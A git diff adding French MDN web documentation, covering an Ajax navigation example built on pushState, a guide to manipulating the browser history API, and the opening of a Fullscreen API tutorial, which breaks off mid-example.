+&lt;p&gt;This paragraph is shown only when the navigation starts from &lt;strong&gt;second_page.php&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;?php
+        include "include/after_content.php";
+        echo "&lt;/body&gt;\n&lt;/html&gt;";
+    }
+?&gt;
+</pre>
+</div>
+<p><strong>page_trois.php</strong>:</p>
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+  <pre class="brush: php">&lt;?php
+    $page_title = "Page trois";
+    $page_content = "&lt;p&gt;Ceci est le contenu de la &lt;strong&gt;page_trois.php&lt;/strong&gt;. Ce contenu est stocké dans une variable PHP.&lt;/p&gt;";
+
+    if (isset($_GET["view_as"]) &amp;&amp; $_GET["view_as"] == "json") {
+        echo json_encode(array("page" =&gt; $page_title, "content" =&gt; $page_content));
+    } else {
+?&gt;
+&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;?php
+        include "include/header.php";
+        echo "&lt;title&gt;" . $page_title . "&lt;/title&gt;";
+?&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;?php include "include/before_content.php"; ?&gt;
+
+&lt;p&gt;This paragraph is shown only when the navigation starts from &lt;strong&gt;third_page.php&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;div id="ajax-content"&gt;
+&lt;?php echo $page_content; ?&gt;
+&lt;/div&gt;
+
+&lt;p&gt;This paragraph is shown only when the navigation starts from &lt;strong&gt;third_page.php&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;?php
+        include "include/after_content.php";
+        echo "&lt;/body&gt;\n&lt;/html&gt;";
+    }
+?&gt;
+</pre>
+</div>
+<p><strong>css/style.css</strong>:</p>
+<pre class="brush: css">#ajax-loader {
+    position: fixed;
+    display: table;
+    top: 0;
+    left: 0;
+    width: 100%;
+    height: 100%;
+}
+
+#ajax-loader &gt; div {
+    display: table-cell;
+    width: 100%;
+    height: 100%;
+    vertical-align: middle;
+    text-align: center;
+    background-color: #000000;
+    opacity: 0.65;
+}
+</pre>
+<p><strong>include/after_content.php</strong>:</p>
+<pre class="brush: php">&lt;p&gt;Ceci est le pied-de-page. Il est commun à toutes les pages ajax.&lt;/p&gt;
+</pre>
+<p><strong>include/before_content.php</strong>:</p>
+<pre class="brush: php">&lt;p&gt;
+[ &lt;a class="ajax-nav" href="page_un.php"&gt;Premier exemple&lt;/a&gt;
+| &lt;a class="ajax-nav" href="page_deux.php"&gt;Second exemple&lt;/a&gt;
+| &lt;a class="ajax-nav" href="page_trois.php"&gt;Troisième exemple&lt;/a&gt;
+| &lt;a class="ajax-nav" href="inexistante.php"&gt;Page inexistante&lt;/a&gt; ]
+&lt;/p&gt;
+
+</pre>
+<p><strong>include/header.php</strong>:</p>
+<pre class="brush: php">&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;script type="text/javascript" src="js/ajax_nav.js"&gt;&lt;/script&gt;
+&lt;link rel="stylesheet" href="css/style.css" /&gt;
+</pre>
+<p><strong>js/ajax_nav.js</strong>:</p>
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+  <pre class="brush: js">"use strict";
+
+var ajaxRequest = new (function () {
+
+    function closeReq () {
+        oLoadingBox.parentNode &amp;&amp; document.body.removeChild(oLoadingBox);
+        bIsLoading = false;
+    }
+
+    function abortReq () {
+        if (!bIsLoading) { return; }
+        oReq.abort();
+        closeReq();
+    }
+
+    function ajaxError () {
+        alert("Unknown error.");
+    }
+
+    function ajaxLoad () {
+        var vMsg, nStatus = this.status;
+        switch (nStatus) {
+            case 200:
+                vMsg = JSON.parse(this.responseText);
+                document.title = oPageInfo.title = vMsg.page;
+                document.getElementById(sTargetId).innerHTML = vMsg.content;
+                if (bUpdateURL) {
+                    history.pushState(oPageInfo, oPageInfo.title, oPageInfo.url);
+                    bUpdateURL = false;
+                }
+                break;
+            default:
+                vMsg = nStatus + ": " + (oHTTPStatus[nStatus] || "Unknown");
+                switch (Math.floor(nStatus / 100)) {
+                    /*
+                    case 1:
+                        // Informational 1xx
+                        console.log("Information code " + vMsg);
+                        break;
+                    case 2:
+                        // Successful 2xx
+                        console.log("Successful code " + vMsg);
+                        break;
+                    case 3:
+                        // Redirection 3xx
+                        console.log("Redirection code " + vMsg);
+                        break;
+                    */
+                    case 4:
+                        /* Client Error 4xx */
+                        alert("Client Error #" + vMsg);
+                        break;
+                    case 5:
+                        /* Server Error 5xx */
+                        alert("Server Error #" + vMsg);
+                        break;
+                    default:
+                        /* Unknown status */
+                        ajaxError();
+                }
+        }
+        closeReq();
+    }
+
+    function filterURL (sURL, sViewMode) {
+        return sURL.replace(rSearch, "") + ("?" + sURL.replace(rHost, "&amp;").replace(rView, sViewMode ? "&amp;" + sViewKey + "=" + sViewMode : "").slice(1)).replace(rEndQstMark, "");
+    }
+
+    function getPage (sPage) {
+        if (bIsLoading) { return; }
+        oReq = new XMLHttpRequest();
+        bIsLoading = true;
+        oReq.onload = ajaxLoad;
+        oReq.onerror = ajaxError;
+        if (sPage) { oPageInfo.url = filterURL(sPage, null); }
+        oReq.open("get", filterURL(oPageInfo.url, "json"), true);
+        oReq.send();
+        oLoadingBox.parentNode || document.body.appendChild(oLoadingBox);
+    }
+
+    function requestPage (sURL) {
+        if (history.pushState) {
+            bUpdateURL = true;
+            getPage(sURL);
+        } else {
+            /* Ajax navigation is not supported */
+            location.assign(sURL);
+        }
+    }
+
+    function processLink () {
+        if (this.className === sAjaxClass) {
+            requestPage(this.href);
+            return false;
+        }
+        return true;
+    }
+
+    function init () {
+        oPageInfo.title = document.title;
+        for (var oLink, nIdx = 0, nLen = document.links.length; nIdx &lt; nLen; document.links[nIdx++].onclick = processLink);
+    }
+
+    const
+
+        /* customizable constants */
+        sTargetId = "ajax-content", sViewKey = "view_as", sAjaxClass = "ajax-nav",
+
+        /* not customizable constants */
+        rSearch = /\?.*$/, rHost = /^[^\?]*\?*&amp;*/, rView = new RegExp("&amp;" + sViewKey + "\\=[^&amp;]*|&amp;*$", "i"), rEndQstMark = /\?$/,
+        oLoadingBox = document.createElement("div"), oCover = document.createElement("div"), oLoadingImg = new Image(),
+        oPageInfo = {
+            title: null,
+            url: location.href
+        }, oHTTPStatus = /* http://www.iana.org/assignments/http-status-codes/http-status-codes.xml */ {
+            100: "Continue",
+            101: "Switching Protocols",
+            102: "Processing",
+            200: "OK",
+            201: "Created",
+            202: "Accepted",
+            203: "Non-Authoritative Information",
+            204: "No Content",
+            205: "Reset Content",
+            206: "Partial Content",
+            207: "Multi-Status",
+            208: "Already Reported",
+            226: "IM Used",
+            300: "Multiple Choices",
+            301: "Moved Permanently",
+            302: "Found",
+            303: "See Other",
+            304: "Not Modified",
+            305: "Use Proxy",
+            306: "Reserved",
+            307: "Temporary Redirect",
+            308: "Permanent Redirect",
+            400: "Bad Request",
+            401: "Unauthorized",
+            402: "Payment Required",
+            403: "Forbidden",
+            404: "Not Found",
+            405: "Method Not Allowed",
+            406: "Not Acceptable",
+            407: "Proxy Authentication Required",
+            408: "Request Timeout",
+            409: "Conflict",
+            410: "Gone",
+            411: "Length Required",
+            412: "Precondition Failed",
+            413: "Request Entity Too Large",
+            414: "Request-URI Too Long",
+            415: "Unsupported Media Type",
+            416: "Requested Range Not Satisfiable",
+            417: "Expectation Failed",
+            422: "Unprocessable Entity",
+            423: "Locked",
+            424: "Failed Dependency",
+            425: "Unassigned",
+            426: "Upgrade Required",
+            427: "Unassigned",
+            428: "Precondition Required",
+            429: "Too Many Requests",
+            430: "Unassigned",
+            431: "Request Header Fields Too Large",
+            500: "Internal Server Error",
+            501: "Not Implemented",
+            502: "Bad Gateway",
+            503: "Service Unavailable",
+            504: "Gateway Timeout",
+            505: "HTTP Version Not Supported",
+            506: "Variant Also Negotiates (Experimental)",
+            507: "Insufficient Storage",
+            508: "Loop Detected",
+            509: "Unassigned",
+            510: "Not Extended",
+            511: "Network Authentication Required"
+        };
+
+    var
+
+        oReq, bIsLoading = false, bUpdateURL = false;
+
+    oLoadingBox.id = "ajax-loader";
+    oCover.onclick = abortReq;
+    oLoadingImg.src = "data:image/gif;base64,R0lGODlhEAAQAPIAAP///wAAAMLCwkJCQgAAAGJiYoKCgpKSkiH/C05FVFNDQVBFMi4wAwEAAAAh/hpDcmVhdGVkIHdpdGggYWpheGxvYWQuaW5mbwAh+QQJCgAAACwAAAAAEAAQAAADMwi63P4wyklrE2MIOggZnAdOmGYJRbExwroUmcG2LmDEwnHQLVsYOd2mBzkYDAdKa+dIAAAh+QQJCgAAACwAAAAAEAAQAAADNAi63P5OjCEgG4QMu7DmikRxQlFUYDEZIGBMRVsaqHwctXXf7WEYB4Ag1xjihkMZsiUkKhIAIfkECQoAAAAsAAAAABAAEAAAAzYIujIjK8pByJDMlFYvBoVjHA70GU7xSUJhmKtwHPAKzLO9HMaoKwJZ7Rf8AYPDDzKpZBqfvwQAIfkECQoAAAAsAAAAABAAEAAAAzMIumIlK8oyhpHsnFZfhYumCYUhDAQxRIdhHBGqRoKw0R8DYlJd8z0fMDgsGo/IpHI5TAAAIfkECQoAAAAsAAAAABAAEAAAAzIIunInK0rnZBTwGPNMgQwmdsNgXGJUlIWEuR5oWUIpz8pAEAMe6TwfwyYsGo/IpFKSAAAh+QQJCgAAACwAAAAAEAAQAAADMwi6IMKQORfjdOe82p4wGccc4CEuQradylesojEMBgsUc2G7sDX3lQGBMLAJibufbSlKAAAh+QQJCgAAACwAAAAAEAAQAAADMgi63P7wCRHZnFVdmgHu2nFwlWCI3WGc3TSWhUFGxTAUkGCbtgENBMJAEJsxgMLWzpEAACH5BAkKAAAALAAAAAAQABAAAAMyCLrc/jDKSatlQtScKdceCAjDII7HcQ4EMTCpyrCuUBjCYRgHVtqlAiB1YhiCnlsRkAAAOwAAAAAAAAAAAA==";
+    oCover.appendChild(oLoadingImg);
+    oLoadingBox.appendChild(oCover);
+
+    onpopstate = function (oEvent) {
+        bUpdateURL = false;
+        oPageInfo.title = oEvent.state.title;
+        oPageInfo.url = oEvent.state.url;
+        getPage();
+    };
+
+    window.addEventListener ? addEventListener("load", init, false) : window.attachEvent ? attachEvent("onload", init) : (onload = init);
+
+    // Public methods
+
+    this.open = requestPage;
+    this.stop = abortReq;
+    this.rebuildLinks = init;
+
+})();
+</pre>
+</div>
+<div class="note" id="const_compatibility">
+  <strong>Note:</strong> <a href="/en/JavaScript/Reference/Statements/const" title="en/JavaScript/Reference/Statements/const"><code>const</code></a> (instruction de constante) <strong>ne fait pas partie de ECMAScript 5</strong>. Il est supporté dans Firefox et Chrome (V8) et partiellement supporté dans Opera 9+ et Safari. <strong>Il n'est pas supporté dans Internet Explorer 6-9, ou dans la version de prévisualisation de Internet Explorer 10</strong>. <a href="/en/JavaScript/Reference/Statements/const" title="en/JavaScript/Reference/Statements/const"><code>const</code></a> sera défini par ECMAScript 6, mais avec une sémantique différente. Proches des variables déclarées avec l'instruction <a href="/en/JavaScript/Reference/Statements/let" title="en/JavaScript/Reference/Statements/let"><code>let</code></a>, les constantes déclarées avec <a href="/en/JavaScript/Reference/Statements/const" title="en/JavaScript/Reference/Statements/const"><code>const</code></a> seront limitées en portée. <strong>Nous ne l'avons utilisé que pour des raisons pédagogiques, si vous souhaitez une compatibilité maximale de ce code, merci de remplacer les références à </strong><strong><a href="/en/JavaScript/Reference/Statements/const" title="en/JavaScript/Reference/Statements/const"><code>const</code></a> par des instructions <a href="/en/JavaScript/Reference/Statements/var" title="en/JavaScript/Reference/Statements/var"><code>var</code></a>.</strong></div>
+<p>Pour plus d'informations, voyez : <a href="/fr/docs/DOM/manipuler_lhistorique_du_navigateur" title="/fr/docs/DOM/manipuler_lhistorique_du_navigateur">Manipuler l'historique du navigateur</a>.</p>
+<h2 id="Lire_également">Lire également</h2>
+<ul>
+  <li>{{ domxref("window.history") }}</li>
+  <li>{{ domxref("window.onpopstate") }}</li>
+</ul>
diff --git a/files/fr/web/guide/dom/manipuler_historique_du_navigateur/index.html b/files/fr/web/guide/dom/manipuler_historique_du_navigateur/index.html
new file mode 100644
index 0000000000..5e199dd521
--- /dev/null
+++ b/files/fr/web/guide/dom/manipuler_historique_du_navigateur/index.html
@@ -0,0 +1,245 @@
+---
+title: Manipuler l'historique du navigateur
+slug: Web/Guide/DOM/Manipuler_historique_du_navigateur
+tags:
+  - API
+  - DOM
+  - Historique
+translation_of: Web/API/History_API
+---
+<p>L'objet DOM {{ domxref("window") }} fournit un accès à l'historique du navigateur via l'objet {{ domxref("window.history", "history") }}. Il expose un ensemble de méthodes et de propriétés qui permettent d'avancer et de reculer dans l'historique de l'utilisateur ainsi que -- à partir d'HTML5 -- manipuler le contenu de l'ensemble de l'historique.</p>
+
+<h2 id="Se_déplacer_dans_l'historique">Se déplacer dans l'historique</h2>
+
+<p>Avancer ou reculer dans l'historique de l'utilisateur est possible en utilisant les méthodes <code>back()</code>, <code>forward()</code> et <code>go()</code>.</p>
+
+<h3 id="Avancer_et_reculer">Avancer et reculer</h3>
+
+<p>Pour reculer dans l'historique, il vous suffit de faire :</p>
+
+<pre class="brush: js">window.history.back();
+</pre>
+
+<p>Cela agira exactement comme si l'utilisateur cliquait sur le bouton Retour de la barre d'outils de son navigateur.</p>
+
+<p>De la même manière, il est possible d'avancer (comme si l'utilisateur cliquait sur le bouton Avancer) :</p>
+
+<pre class="brush: js">window.history.forward();
+</pre>
+
+<h3 id="Se_déplacer_à_un_élément_précis_de_l'historique">Se déplacer à un élément précis de l'historique</h3>
+
+<p>Vous pouvez utiliser la méthode <code>go()</code> pour charger une page spécifique de l'historique de la session, identifiée par sa position relative par rapport à la page en cours (la page courante étant, évidemment, d'index 0).</p>
+
+<p>Pour reculer d'une page (l'équivalent d'un appel à <code>back()</code>):</p>
+
+<pre class="brush: js"><code>window.history.go(-1);</code>
+</pre>
+
+<p>Pour avancer d'une page, comme en appelant <code>forward()</code>:</p>
+
+<pre class="brush: js"><code>window.history.go(1);</code>
+</pre>
+
+<p>De la même manière, vous pouvez avancer de 2 pages en passant la valeur 2, et ainsi de suite.</p>
+
+<p>Vous pouvez déterminer le nombre de pages de l'historique en accédant à la valeur de la propriété length (<em>longeur</em>) :</p>
+
+<pre class="brush: js">var numberOfEntries = window.history.length;
+</pre>
+
+<div class="note"><strong>Note:</strong> Internet Explorer supporte le passage d'une URL sous forme de chaîne de caractères comme paramètre de la méthode <code>go()</code>; ce comportement est non standard et non supporté par Gecko.</div>
+
+<h2 id="Ajouter_et_modifier_des_entrées_de_l'historique">Ajouter et modifier des entrées de l'historique</h2>
+
+<p>{{ gecko_minversion_header("2") }}</p>
+
+<p>HTML5 a introduit les méthodes <a href="/fr/docs/Web/Guide/DOM/Manipuler_historique_du_navigateur#La_méthode_pushState()">history.pushState()</a> et <a href="/fr/docs/Web/Guide/DOM/Manipuler_historique_du_navigateur#La_méthode_replaceState()">history.replaceState()</a>, qui permettent, respectivement, d'ajouter et de modifier des entrées de l'historique. Ces méthodes fonctionnent conjointement avec l'événement <a href="/fr/docs/Web/API/WindowEventHandlers/onpopstate">onpopstate</a>.</p>
+
+<p>L'utilisation de <code>history.pushState()</code> change le référent créé habituellement dans l'en-tête HTTP pour les objets <a href="/en/DOM/XMLHttpRequest" title="en/XMLHttpRequest"><code>XMLHttpRequest</code></a>, chaque fois que son état a été changé. Le référent sera l'URL de la page dont l'objet window est <code>this</code> au moment de la création de l'objet <a href="/en/DOM/XMLHttpRequest" title="en/XMLHttpRequest"><code>XMLHttpRequest</code></a>.</p>
+
+<h3 id="Exemple_de_la_méthode_pushState()"><a id="Exemple de la méthode pushState()" name="Exemple de la méthode pushState()"></a>Exemple de la méthode pushState()</h3>
+
+<p>Supposons que <span class="nowiki">http://mozilla.org/foo.html</span> exécute la séquence JavaScript suivante :</p>
+
+<pre class="brush: js">var stateObj = { foo: "bar" };
+history.pushState(stateObj, "page 2", "bar.html");
+</pre>
+
+<p>Cela va provoquer l'apparition dans la barre de navigation de <span class="nowiki">http://mozilla.org/bar.html</span>, mais ne provoquera pas le chargement effectif de <code>bar.html</code> ni même le test d'existence de <code>bar.html</code>.</p>
+
+<p>Supposons à présent que l'utilisateur accède à la page <span class="nowiki">http://google.com</span>, puis clique sur l'icône "Recul". La barre de navigation va alors afficher <span class="nowiki">http://mozilla.org/bar.html</span>, et si vous lisez l'<code>history.state</code>, vous obtiendrez le <code>stateObj</code>.  L'événement <code>popstate</code> ne sera pas lancé car la page a été rechargée. La page elle-même ressemblera à <code>bar.html</code>.</p>
+
+<p>Si on clique à nouveau sur Recul, l'URL de la barre de navigation va se changer en <span class="nowiki">http://mozilla.org/foo.html</span> et le document va recevoir un autre événement <code>popstate</code>, qui comportera, cette fois, un état null. Dans ce cas aussi, revenir en arrière ne modifie pas le contenu du document par rapport à ce qu'il était à l'étape précédente, cela bien qu'il ait pu être mis à jour manuellement sur réception de l'événement <code>popstate</code>.</p>
+
+<h3 id="La_méthode_pushState()">La méthode pushState()</h3>
+
+<p><code>La méthode pushState()</code> utilise trois paramètres : un objet état, un titre (qui est pour l'instant ignoré) et, éventuellement, une URL. Examinons chacun de ces paramètres en détail :</p>
+
+<ul>
+ <li>
+  <p><strong>state object</strong> (<em><strong>objet état</strong></em>) — L'objet état est un objet JavaScript qui est associé à une nouvelle entrée de l'historique par <code>pushState()</code>. Chaque fois qu'un utilisateur ouvre une nouvelle page, un événement <code>popstate</code> est émis et la propriété <code>state</code> de l'événement contient une copie de l'objet état de ce nouvel élément de l'historique.<br>
+   L'objet état peut être tout ce qui peut être sous forme de liste. Puisque Firefox sauvegarde les objets état sur le disque de l'utilisateur de façon à ce qu'ils puissent être rétablis après redémarrage du navigateur, le codage de l'objet état est limité à une taille de 640k octets. Si vous donnez à <code>pushState()</code> un objet état dont la représentation a une taille plus importante, la méthode génèrera une exception. Si vous avez un besoin d'espace plus important, il est conseillé d'utiliser <code>sessionStorage</code> et/ou <code>localStorage</code>.</p>
+ </li>
+ <li>
+  <p><strong>title</strong> (<strong><em>titre</em>)</strong> — Firefox, pour l'instant, ignore ce paramètre, bien qu'il puisse être utilisé plus tard. Afin de prévenir les changements futurs de cette méthode, il serait prudent de fournir ici, en paramètre, une chaîne vide. Vous pourriez aussi donner un titre court à l'état vers lequel vous vous dirigez.</p>
+ </li>
+ <li>
+  <p><strong>URL</strong> — L'URL de la nouvelle entrée de l'historique est donnée par ce paramètre. Il convient de préciser que le navigateur n'essaiera pas de charger la page pointée par cette URL après un appel à <code>pushState()</code>, mais il se peut qu'il tente de le faire plus tard, par exemple, lorsque l'utilisateur relancera son navigateur. Il n'est pas nécessaire que la nouvelle URL soit absolue ; si elle est relative, ce sera par rapport à l'URL courante. La nouvelle URL doit avoir la même origine (domaine) que l'URL courante ; dans le cas contraire, <code>pushState()</code> génèrera une exception. Ce paramètre est optionnel ; s'il n'est pas spécifié, sa valeur par défaut est l'URL de la page courante.</p>
+ </li>
+</ul>
+
+<div class="note"><strong>Note :</strong> Dans Gecko 2.0 {{ geckoRelease("2.0") }} jusqu'à Gecko 5.0 {{ geckoRelease("5.0") }}, l'objet fourni est sérialisé en utilisant JSON. À partir de  Gecko 6.0 {{ geckoRelease("6.0") }}, l'objet est sérialisé à l'aide de<a href="/en/DOM/The_structured_clone_algorithm" title="en/DOM/The structured clone algorithm"> "structured clone algorithm"</a> qui autorise, en particulier, la sérialisation d'arbres récursifs cycliques. Cela permet de passer de façon sûre une plus grande diversité d'objets.</div>
+
+<p>On peut assimiler l'appel à <code>pushState()</code> à l'affectation <code>window.location = "#foo"</code>, en cela que l'un comme l'autre auront pour effet de créer et déclencher une autre entrée de l'historique associée au document courant. Mais <code>pushState()</code> a quelques avantages :</p>
+
+<ul>
+ <li>La nouvelle URL peut être quelconque pourvu qu'elle ait la même origine que l'URL courante. En revanche, affecter <code>window.location</code> vous maintient  au même {{ domxref("document") }} seulement si vous modifiez uniquement le hash.</li>
+ <li>Vous n'êtes pas contraint de modifier l'URL si vous ne le voulez pas. Par contre, affecter <code>window.location = "#foo";</code> crée une nouvelle entrée de l'historique seulement si le hash courant n'est pas <code>#foo</code>.</li>
+ <li>Vous pouvez associer des données quelconques avec votre nouvelle entrée de l'historique. Avec l'approche basée sur le hash, il est nécessaire de coder toute donnée pertinente en une chaîne courte.</li>
+</ul>
+
+<p>Notez que <code>pushState()</code> n'entraîne jamais le déclenchement d'un événement <code>hashchange</code>, même si la nouvelle URL diffère de l'ancienne seulement par son hash.</p>
+
+<p>Dans un document <a href="https://developer.mozilla.org/fr/docs/Mozilla/Tech/XUL">XUL</a> elle crée l'élément XUL spécifié.</p>
+
+<p>Dans d'autres documents, elle crée un élément avec l'URI d'espace de nom <code>null</code>. </p>
+
+<h3 id="La_méthode_replaceState()">La méthode replaceState()</h3>
+
+<p><code>history.replaceState()</code> fonctionne exactement comme <code>history.pushState()</code> hormis le fait que <code>replaceState()</code> modifie l'entrée courante de l'historique au lieu d'en créer une nouvelle. À noter que ceci n'empêche pas la création d'une nouvelle entrée dans l'historique global du navigateur.</p>
+
+<p><code>replaceState()</code> est particulièrement utile si vous désirez mettre à jour l'objet état ou l'URL de l'entrée courante de l'historique en réponse à une action de l'utilisateur.</p>
+
+<div class="note"><strong>Note :</strong> Dans Gecko 2.0 {{ geckoRelease("2.0") }} jusqu'à Gecko 5.0 {{ geckoRelease("5.0") }}, l'objet transmis est sérialisé avec JSON. À partir de  Gecko 6.0 {{ geckoRelease("6.0") }}, l'objet est sérialisé à l'aide de<a href="/en/DOM/The_structured_clone_algorithm" title="en/DOM/The structured clone algorithm"> "structured clone algorithm"</a> qui autorise, en particulier, la sérialisation d'arbres récursifs cycliques. Cela permet de passer de façon sûre une plus grande diversité d'objets.</div>
+
+<h3 id="Exemple_de_la_méthode_replaceState()">Exemple de la méthode replaceState()</h3>
+
+<p><span id="result_box" lang="fr"><span>Supposons que http://mozilla.org/foo.html exécute le code JavaScript suivant :</span></span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> stateObj <span class="operator token">=</span> <span class="punctuation token">{</span> foo<span class="punctuation token">:</span> <span class="string token">"bar"</span> <span class="punctuation token">}</span><span class="punctuation token">;</span>
+history<span class="punctuation token">.</span><span class="function token">pushState</span><span class="punctuation token">(</span>stateObj<span class="punctuation token">,</span> <span class="string token">"page 2"</span><span class="punctuation token">,</span> <span class="string token">"bar.html"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>L'explication des deux lignes ci-dessus peut être trouvée dans la section "<a href="#">Exemple de la méthode pushState()</a>". Supposons ensuite que http://mozilla.org/bar.html exécute le code JavaScript suivant :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">replaceState</span><span class="punctuation token">(</span>stateObj<span class="punctuation token">,</span> <span class="string token">"page 3"</span><span class="punctuation token">,</span> <span class="string token">"bar2.html"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Cela entraînera l'affichage de la barre d'URL http://mozilla.org/bar2.html, mais le navigateur ne chargera pas <code>bar2.html</code> ou même vérifiera que <code>bar2.html</code> existe.</p>
+
+<p>Supposons maintenant que l'utilisateur accède à http://www.microsoft.com, puis clique sur le bouton Précédent. À ce stade, la barre d'URL affichera http://mozilla.org/bar2.html. Si l'utilisateur clique à nouveau sur Retour, la barre d'URL affichera http://mozilla.org/foo.html et contournera totalement bar.html.</p>
+
+<h3 id="L'événement_popstate">L'événement popstate</h3>
+
+<p>Un événement <code>popstate</code> est envoyé à la fenêtre chaque fois que l'entrée active de l'historique change. Si l'entrée de l'historique activée a été créée par un appel à <code>replaceState</code>, la propriété <code>state </code>de l'événement <code>popstate</code> contient une copie de l'objet état  de l'entrée de l'historique.</p>
+
+<p>Voir {{ domxref("window.onpopstate") }} pour un exemple d'utilisation.</p>
+
+<h3 id="Lire_l'état_courant">Lire l'état courant</h3>
+
+<p>Quand votre page est chargée, il se pourrait qu'elle ait un objet état non nul. Cela peut se produire, par exemple, si la page fixe un objet état (avec  <code>pushState()</code> ou <code>replaceState()</code>) et qu'ensuite l'utilisateur redémarre le navigateur.  Quand votre page sera rechargée, elle recevra l'événement  <span style="font-family: courier new;">onload</span><span style="font-family: helvetica;"> , mais pas l'événement <span style="font-family: courier new;">popstate</span>.</span>  Néanmoins, si vous lisez la propriété <span style="font-family: courier new;">history.state</span>, vous récupèrerez l'objet état que vous auriez obtenu si un événement <span style="font-family: courier new;">popstate</span> avait été déclenché.</p>
+
+<p>Vous pouvez lire l'état de l'entrée courante de l'historique sans devoir attendre un événement <code>popstate</code> en utilisant la propriété <code>history.state</code> comme ceci :</p>
+
+<pre class="brush: js">var currentState = history.state;
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Pour un exemple comple de site web AJAX, vous pouvez voir : <a href="https://developer.mozilla.org/fr/docs/Web/Guide/DOM/Manipuler_historique_du_navigateur/Example" title="/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history/Example">Exemple de navigation en Ajax</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "browsers.html#history", "History")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement de {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#history", "History")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>replaceState, pushState</td>
+   <td>5</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>10</td>
+   <td>11.50</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>history.state</td>
+   <td>18</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>10</td>
+   <td>11.50</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>replaceState, pushState</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>history.state</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Vous pouvez utiliser <a class="link-https" href="https://github.com/browserstate/history.js" title="https://github.com/balupton/history.js">History.js</a> pour contourner les <a class="link-https" href="https://github.com/balupton/history.js/wiki/The-State-of-the-HTML5-History-API" title="https://github.com/balupton/history.js/wiki/The-State-of-the-HTML5-History-API">problèmes</a> de compatibilité entre navigateurs.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("window.history") }}</li>
+ <li>{{ domxref("window.onpopstate") }}</li>
+</ul>
diff --git a/files/fr/web/guide/dom/using_full_screen_mode/index.html b/files/fr/web/guide/dom/using_full_screen_mode/index.html
new file mode 100644
index 0000000000..76144c64f2
--- /dev/null
+++ b/files/fr/web/guide/dom/using_full_screen_mode/index.html
@@ -0,0 +1,301 @@
+---
+title: Utiliser le mode plein écran
+slug: Web/Guide/DOM/Using_full_screen_mode
+tags:
+  - API
+  - DOM
+  - Plein écran
+  - Tutoriel
+translation_of: Web/API/Fullscreen_API
+---
+<p>{{DefaultAPISidebar("Fullscreen API")}}</p>
+
+<p class="summary">L'<strong>API Fullscreen</strong> <em>(plein écran)</em> fournit un moyen simple de présenter du contenu web en utilisant l'ensemble de l'écran de l'utilisateur. <span id="result_box" lang="fr"><span>L'API vous permet de diriger facilement le navigateur pour faire en sorte qu'un élément et ses enfants, le cas échéant, occupent entièrement l'écran, éliminant toute l'interface utilisateur du navigateur et les autres applications de l'écran pendant ce temps.</span></span></p>
+
+<div class="note"><strong>Note :</strong> Pour le moment, tous les navigateurs n'utilisent pas la version non préfixée de cet API. <span id="result_box" lang="fr"><span>Consultez le tableau récapitulant les <a href="#Préfixes">préfixes</a> et les différences de noms entre eux (vous pouvez également utiliser </span></span> <a href="https://github.com/rafrex/fscreen">Fscreen</a> <span lang="fr"><span> pour l'accès du fournisseur à l'API).</span></span></div>
+
+<h2 id="Specification" name="Specification">Activation du mode plein écran</h2>
+
+<p>En partant d'un élément que vous aimeriez afficher en plein écran ({{ HTMLElement("video") }}, par exemple), vous pouvez le passer en mode plein écran simplement en appelant sa méthode {{ domxref("Element.requestFullscreen()") }} .</p>
+
+<p>Prenons cet élément {{ HTMLElement("video") }} :</p>
+
+<pre class="brush: html">&lt;video controls id="myvideo"&gt;
